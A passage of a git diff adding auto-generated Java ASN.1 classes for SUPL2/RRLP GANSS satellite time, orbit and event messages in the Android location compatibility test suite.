+ setGanssTODUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTODUncertainty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODUncertainty : "
+ + getGanssTODUncertainty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefTimeInfo.ganssTimeIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeID : "
+ + getGanssTimeID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssDayType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssDayType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssDayType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssDayType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssDayType != null) {
+ return ImmutableList.of(TAG_ganssDayType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssDayType from encoded stream.
+ */
+ public static ganssDayType fromPerUnaligned(byte[] encodedBytes) {
+ ganssDayType result = new ganssDayType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssDayType from encoded stream.
+ */
+ public static ganssDayType fromPerAligned(byte[] encodedBytes) {
+ ganssDayType result = new ganssDayType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssDayType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTimeIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTimeIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTimeIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTimeIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTimeIDType != null) {
+ return ImmutableList.of(TAG_ganssTimeIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerAligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTimeIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSRefTimeInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
new file mode 100755
index 0000000..ae6b6ba
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSReferenceOrbit extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSReferenceOrbit
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSReferenceOrbit() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSReferenceOrbit;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSReferenceOrbit != null) {
+ return ImmutableList.of(TAG_GANSSReferenceOrbit);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSReferenceOrbit from encoded stream.
+ */
+ public static GANSSReferenceOrbit fromPerUnaligned(byte[] encodedBytes) {
+ GANSSReferenceOrbit result = new GANSSReferenceOrbit();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSReferenceOrbit from encoded stream.
+ */
+ public static GANSSReferenceOrbit fromPerAligned(byte[] encodedBytes) {
+ GANSSReferenceOrbit result = new GANSSReferenceOrbit();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private ReferenceNavModel ganssOrbitModel_;
+ public ReferenceNavModel getGanssOrbitModel() {
+ return ganssOrbitModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel
+ */
+ public void setGanssOrbitModel(Asn1Object value) {
+ this.ganssOrbitModel_ = (ReferenceNavModel) value;
+ }
+ public ReferenceNavModel setGanssOrbitModelToNewInstance() {
+ ganssOrbitModel_ = new ReferenceNavModel();
+ return ganssOrbitModel_;
+ }
+
+ private GANSSClockModel ganssClockModel_;
+ public GANSSClockModel getGanssClockModel() {
+ return ganssClockModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSClockModel
+ */
+ public void setGanssClockModel(Asn1Object value) {
+ this.ganssClockModel_ = (GANSSClockModel) value;
+ }
+ public GANSSClockModel setGanssClockModelToNewInstance() {
+ ganssClockModel_ = new GANSSClockModel();
+ return ganssClockModel_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssOrbitModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssOrbitModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssOrbitModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssOrbitModel : "
+ + getGanssOrbitModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssClockModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssClockModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssClockModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSClockModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssClockModel : "
+ + getGanssClockModel().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSReferenceOrbit = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java
new file mode 100755
index 0000000..d25be1f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSReferenceTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSReferenceTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSReferenceTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSReferenceTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSReferenceTime != null) {
+ return ImmutableList.of(TAG_GANSSReferenceTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSReferenceTime from encoded stream.
+ */
+ public static GANSSReferenceTime fromPerUnaligned(byte[] encodedBytes) {
+ GANSSReferenceTime result = new GANSSReferenceTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSReferenceTime from encoded stream.
+ */
+ public static GANSSReferenceTime fromPerAligned(byte[] encodedBytes) {
+ GANSSReferenceTime result = new GANSSReferenceTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSRefTimeInfo ganssRefTimeInfo_;
+ public GANSSRefTimeInfo getGanssRefTimeInfo() {
+ return ganssRefTimeInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefTimeInfo
+ */
+ public void setGanssRefTimeInfo(Asn1Object value) {
+ this.ganssRefTimeInfo_ = (GANSSRefTimeInfo) value;
+ }
+ public GANSSRefTimeInfo setGanssRefTimeInfoToNewInstance() {
+ ganssRefTimeInfo_ = new GANSSRefTimeInfo();
+ return ganssRefTimeInfo_;
+ }
+
+ private GANSSTOD_GSMTimeAssociation ganssTOD_GSMTimeAssociation_;
+ public GANSSTOD_GSMTimeAssociation getGanssTOD_GSMTimeAssociation() {
+ return ganssTOD_GSMTimeAssociation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTOD_GSMTimeAssociation
+ */
+ public void setGanssTOD_GSMTimeAssociation(Asn1Object value) {
+ this.ganssTOD_GSMTimeAssociation_ = (GANSSTOD_GSMTimeAssociation) value;
+ }
+ public GANSSTOD_GSMTimeAssociation setGanssTOD_GSMTimeAssociationToNewInstance() {
+ ganssTOD_GSMTimeAssociation_ = new GANSSTOD_GSMTimeAssociation();
+ return ganssTOD_GSMTimeAssociation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRefTimeInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRefTimeInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRefTimeInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefTimeInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRefTimeInfo : "
+ + getGanssRefTimeInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTOD_GSMTimeAssociation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTOD_GSMTimeAssociation();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTOD_GSMTimeAssociationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTOD_GSMTimeAssociation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTOD_GSMTimeAssociation : "
+ + getGanssTOD_GSMTimeAssociation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSReferenceTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
new file mode 100755
index 0000000..a218be9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSSatEventsInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSSatEventsInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSSatEventsInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSSatEventsInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSSatEventsInfo != null) {
+ return ImmutableList.of(TAG_GANSSSatEventsInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSSatEventsInfo from encoded stream.
+ */
+ public static GANSSSatEventsInfo fromPerUnaligned(byte[] encodedBytes) {
+ GANSSSatEventsInfo result = new GANSSSatEventsInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSSatEventsInfo from encoded stream.
+ */
+ public static GANSSSatEventsInfo fromPerAligned(byte[] encodedBytes) {
+ GANSSSatEventsInfo result = new GANSSSatEventsInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSatEventsInfo.eventOccuredType eventOccured_;
+ public GANSSSatEventsInfo.eventOccuredType getEventOccured() {
+ return eventOccured_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatEventsInfo.eventOccuredType
+ */
+ public void setEventOccured(Asn1Object value) {
+ this.eventOccured_ = (GANSSSatEventsInfo.eventOccuredType) value;
+ }
+ public GANSSSatEventsInfo.eventOccuredType setEventOccuredToNewInstance() {
+ eventOccured_ = new GANSSSatEventsInfo.eventOccuredType();
+ return eventOccured_;
+ }
+
+ private GANSSSatEventsInfo.futureEventNotedType futureEventNoted_;
+ public GANSSSatEventsInfo.futureEventNotedType getFutureEventNoted() {
+ return futureEventNoted_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatEventsInfo.futureEventNotedType
+ */
+ public void setFutureEventNoted(Asn1Object value) {
+ this.futureEventNoted_ = (GANSSSatEventsInfo.futureEventNotedType) value;
+ }
+ public GANSSSatEventsInfo.futureEventNotedType setFutureEventNotedToNewInstance() {
+ futureEventNoted_ = new GANSSSatEventsInfo.futureEventNotedType();
+ return futureEventNoted_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getEventOccured() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEventOccured();
+ }
+
+ @Override public void setToNewInstance() {
+ setEventOccuredToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSatEventsInfo.eventOccuredType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eventOccured : "
+ + getEventOccured().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getFutureEventNoted() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFutureEventNoted();
+ }
+
+ @Override public void setToNewInstance() {
+ setFutureEventNotedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSatEventsInfo.futureEventNotedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "futureEventNoted : "
+ + getFutureEventNoted().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class eventOccuredType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_eventOccuredType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public eventOccuredType() {
+ super();
+ setMinSize(64);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_eventOccuredType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_eventOccuredType != null) {
+ return ImmutableList.of(TAG_eventOccuredType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new eventOccuredType from encoded stream.
+ */
+ public static eventOccuredType fromPerUnaligned(byte[] encodedBytes) {
+ eventOccuredType result = new eventOccuredType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new eventOccuredType from encoded stream.
+ */
+ public static eventOccuredType fromPerAligned(byte[] encodedBytes) {
+ eventOccuredType result = new eventOccuredType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
